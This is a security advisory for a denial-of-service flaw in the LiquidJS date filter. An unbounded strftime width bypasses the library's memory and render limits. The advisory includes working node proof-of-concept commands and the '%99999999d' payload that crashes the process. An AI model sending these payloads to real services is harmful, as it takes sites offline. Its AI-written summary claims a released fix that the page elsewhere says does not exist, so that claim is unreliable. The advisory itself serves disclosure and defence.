VYPR
High severity7.5GHSA Advisory· Published May 27, 2026· Updated May 27, 2026

LiquidJS has a memory and render limit bypass via unbounded width padding in `date` filter (strftime)

CVE-2026-45357

Description

Summary

The date filter's strftime implementation parses width specifiers like %9999999d and forwards the captured width unchecked into pad()/padStart() in src/util/underscore.ts. The pad loop performs unbounded string concatenation without consulting the Context's memoryLimit or renderLimit, so a single small template ({{ x | date: '%5000000d' }}) produces megabytes of output and unbounded CPU. The memoryLimit and renderLimit options the docs (src/liquid-options.ts:87-92) advertise as DoS controls — and which the docstring explicitly mentions for strftime — are entirely bypassed.

Details

date.ts:5-13 only charges memoryLimit for the lengths of the input value, format string, and timezone:

export function date (this: FilterImpl, v: string | Date, format?: string, timezoneOffset?: number | string) {
  const size = ((v as string)?.length ?? 0) + (format?.length ?? 0) + ((timezoneOffset as string)?.length ?? 0)
  this.context.memoryLimit.use(size)
  ...
  return strftime(date, format)
}

strftime (src/util/strftime.ts:121) then walks the format with rFormat = /%([-_0^#:]+)?(\d+)?([EO])?(.)/. The captured width group is passed directly to padStart:

function format (d, match) {
  const [input, flagStr = '', width, modifier, conversion] = match
  ...
  let padWidth = width || padWidths[conversion] || 0
  ...
  return padStart(ret, padWidth, padChar)   // strftime.ts:147
}

padStart calls pad() in src/util/underscore.ts:153:

export function pad (str, length, ch, add) {
  str = String(str)
  let n = length - str.length
  while (n-- > 0) str = add(str, ch)   // unbounded loop
  return str
}

The loop has no upper bound and never consults this.context.memoryLimit or renderLimit. The pad is also implemented as repeated ch + str string concatenation, which makes the per-byte cost grow with output length and amplifies CPU consumption.

Filter arguments accept context-evaluated values (src/template/filter.ts:30-31, evalToken(arg, context)), so any deployment that passes a context value as the date format — a documented and tested usage pattern — exposes the sink to attacker-controlled input.

This is a separate sink from the previously-reported quadratic replace finding: a different filter (date), a different parser (the strftime width regex), and a different concatenation site (pad() in underscore.ts).

PoC

Setup: npm install liquidjs@10.25.7.

Step 1 — bypass memoryLimit and renderLimit (5 MB output, ~200 ms, both limits set to 50):

node -e "
const { Liquid } = require('liquidjs');
const liquid = new Liquid({ memoryLimit: 50, renderLimit: 50 });
const t0 = Date.now();
const out = liquid.parseAndRenderSync('{{ d | date: f }}', { d: 'now', f: '%5000000d' });
console.log('len=', out.length, 'ms=', Date.now()-t0);
"

Verified output: len= 5000000 ms= 198. The memoryLimit:50 (50-byte budget) and renderLimit:50 (50 ms budget) are both ignored.

Step 2 — OOM-kill the Node process under a 200 MB heap cap:

node --max-old-space-size=200 -e "
const { Liquid } = require('liquidjs');
const liquid = new Liquid({ memoryLimit: 50, renderLimit: 50 });
liquid.parseAndRenderSync('{{ d | date: f }}', { d: 'now', f: '%99999999d' });
"

Verified output: FATAL ERROR: Ineffective mark-compacts near heap limit Allocation failed - JavaScript heap out of memory. Process is killed.

The realistic attack template is {{ post.created_at | date: user_supplied_format }}, where user_supplied_format is any context value an attacker can influence (profile field, query param mapped into template context, etc.).

Impact

  • DoS against any LiquidJS-rendered surface where a context value reaches the date filter's format argument: a single render call can be turned into multi-MB allocations and seconds of CPU per request, or into an OOM that crashes the host process.
  • Bypass of the engine's two documented DoS controls — memoryLimit and renderLimit — meaning that operators who explicitly opted into DoS protection still have no defense for this code path.
  • All date_to_xmlschema, date_to_rfc822, date_to_string, date_to_long_string paths share the same sink via strftime, but with hard-coded formats they're not directly attacker-controllable; the user-facing risk is on date.

Recommended

Fix

Two complementary fixes:

  1. Have pad() in src/util/underscore.ts charge the Context's memory limit and use String.prototype.repeat instead of an O(n) concatenation loop. Since pad() is generic, the simplest version takes the memory limit as a parameter:
export function pad (str: any, length: number, ch: string, add: (str: string, ch: string) => string) {
  str = String(str)
  const n = length - str.length
  if (n <= 0) return str
  return add === ((s, c) => c + s)
    ? ch.repeat(n) + str
    : str + ch.repeat(n)
}
  1. Cap padWidth in src/util/strftime.ts:141 and account for it via memoryLimit. The date filter (src/filters/date.ts) should also charge this.context.memoryLimit.use(parsedMaxWidth) before invoking strftime, e.g. by scanning the format for %(\d+) widths and summing them. A conservative cap (e.g. Math.min(width, 1024) for non-N conversions) is also reasonable — strftime widths beyond a few dozen characters have no legitimate use.

Both fixes are needed: the cap stops the OOM crash, the memory accounting restores the documented DoS guarantee.

AI Insight

LLM-synthesized narrative grounded in this CVE's description and references.

A large width specifier in the date filter's strftime bypasses memoryLimit/renderLimit, enabling resource exhaustion via a small template.

Vulnerability

The date filter in liquidjs (affecting versions before the fix) contains an unbounded loop in pad()/padStart() within src/util/underscore.ts. The strftime implementation parses width specifiers like %9999999d and passes the captured width directly to padStart(), which calls pad(). The loop in pad() performs unbounded string concatenation without consulting the Context's memoryLimit or renderLimit options, which are advertised in src/liquid-options.ts:87-92 as DoS controls. A single small template such as {{ x | date: '%5000000d' }} can thus produce megabytes of output and unbounded CPU consumption [1][2].

Exploitation

An attacker needs only the ability to supply a template that uses the date filter (or a context value that is passed as its format argument). No authentication or special privileges are required; any user or external input that flows into a template rendered by a vulnerable liquidjs instance can trigger this. The attacker can set the format string to include an excessively large width specifier (e.g., %5000000d), causing the pad() loop to concatenate characters for a huge number of iterations. Because filter arguments accept context-evaluated values (see src/template/filter.ts:30-31 and evalToken(arg, context) [1]), this can also be triggered indirectly [1][2].

Impact

Successful exploitation allows denial of service (DoS) by exhausting memory and CPU resources on the server. The vulnerability bypasses the built-in memoryLimit and renderLimit controls, so even deployments that have configured these limits are vulnerable. The impact is resource exhaustion with no known escalation to remote code execution or data exfiltration [1][2].

Mitigation

Liquidjs has released a fix that caps the width specifier in strftime to a safe maximum (e.g., 100). The fix is available in the project's repository, and affected users should upgrade to the patched version (the advisory [2] does not specify a version number, but the vulnerability was patched shortly after disclosure). If upgrading is not immediately possible, a workaround is to disable or sanitize user-controlled input that can reach the date filter's format argument. The vulnerability is currently tracked but is not listed in CISA's Known Exploited Vulnerabilities catalog [1][2].

AI Insight generated on May 27, 2026. Synthesized from this CVE's description and the cited reference URLs; citations are validated against the source bundle.

Affected products

2

Patches

0

No patches discovered yet.

Vulnerability mechanics

Root cause

"The strftime width specifier is passed unchecked into an unbounded string concatenation loop in `pad()` that bypasses both `memoryLimit` and `renderLimit`."

Attack vector

An attacker supplies a context value (e.g., a profile field or query parameter) that is used as the format argument to the `date` filter, such as `{{ post.created_at | date: user_supplied_format }}` [ref_id=1]. The format string contains a strftime width specifier like `%5000000d` or `%99999999d`. The `strftime` parser captures the width and passes it unchecked into `pad()` in `src/util/underscore.ts`, which performs unbounded string concatenation without consulting `memoryLimit` or `renderLimit` [ref_id=1]. A single small template can produce megabytes of output and seconds of CPU, or crash the Node process with an out-of-memory error [ref_id=1]. Filter arguments accept context-evaluated values via `evalToken(arg, context)` in `src/template/filter.ts:30-31`, so any deployment that passes a context value as the date format exposes the sink to attacker-controlled input [ref_id=1].

Affected code

The vulnerability is in the `date` filter's strftime implementation. The `strftime` function in `src/util/strftime.ts:121` parses width specifiers via the regex `/%([-_0^#:]+)?(\d+)?([EO])?(.)/` and passes the captured `width` group directly to `padStart` at line 147 [ref_id=1]. `padStart` calls `pad()` in `src/util/underscore.ts:153`, which performs an unbounded `while` loop of string concatenation with no upper bound and no consultation of `memoryLimit` or `renderLimit` [ref_id=1]. The `date` filter in `src/filters/date.ts:5-13` only charges `memoryLimit` for the lengths of the input value, format string, and timezone — not for the expanded output [ref_id=1].

What the fix does

The advisory recommends two complementary fixes [ref_id=1]. First, rewrite `pad()` in `src/util/underscore.ts` to use `String.prototype.repeat` instead of an O(n) concatenation loop, and have it charge the Context's memory limit. Second, cap `padWidth` in `src/util/strftime.ts:141` (e.g., `Math.min(width, 1024)`) and have the `date` filter in `src/filters/date.ts` charge `this.context.memoryLimit.use(parsedMaxWidth)` before invoking `strftime` by scanning the format for `%(\d+)` widths [ref_id=1]. The cap stops the OOM crash, and the memory accounting restores the documented DoS guarantee that `memoryLimit` and `renderLimit` are supposed to provide [ref_id=1]. No official patch has been published at the time of this writing.

Preconditions

  • inputThe application must pass a user-influenced context value as the format argument to the `date` filter (e.g., `{{ x | date: user_supplied_format }}`)
  • authNo authentication or special privilege is required beyond the ability to supply a template context value

Reproduction

Setup: `npm install liquidjs@10.25.7`. Step 1 — bypass `memoryLimit` and `renderLimit` (5 MB output, ~200 ms, both limits set to 50): `node -e "const { Liquid } = require('liquidjs'); const liquid = new Liquid({ memoryLimit: 50, renderLimit: 50 }); const t0 = Date.now(); const out = liquid.parseAndRenderSync('{{ d | date: f }}', { d: 'now', f: '%5000000d' }); console.log('len=', out.length, 'ms=', Date.now()-t0);"` [ref_id=1]. Verified output: `len= 5000000 ms= 198`. Step 2 — OOM-kill the Node process under a 200 MB heap cap: `node --max-old-space-size=200 -e "const { Liquid } = require('liquidjs'); const liquid = new Liquid({ memoryLimit: 50, renderLimit: 50 }); liquid.parseAndRenderSync('{{ d | date: f }}', { d: 'now', f: '%99999999d' });"` [ref_id=1]. Verified output: `FATAL ERROR: Ineffective mark-compacts near heap limit Allocation failed - JavaScript heap out of memory` [ref_id=1].

Generated on May 27, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.

References

2

News mentions

0

No linked articles in our index yet.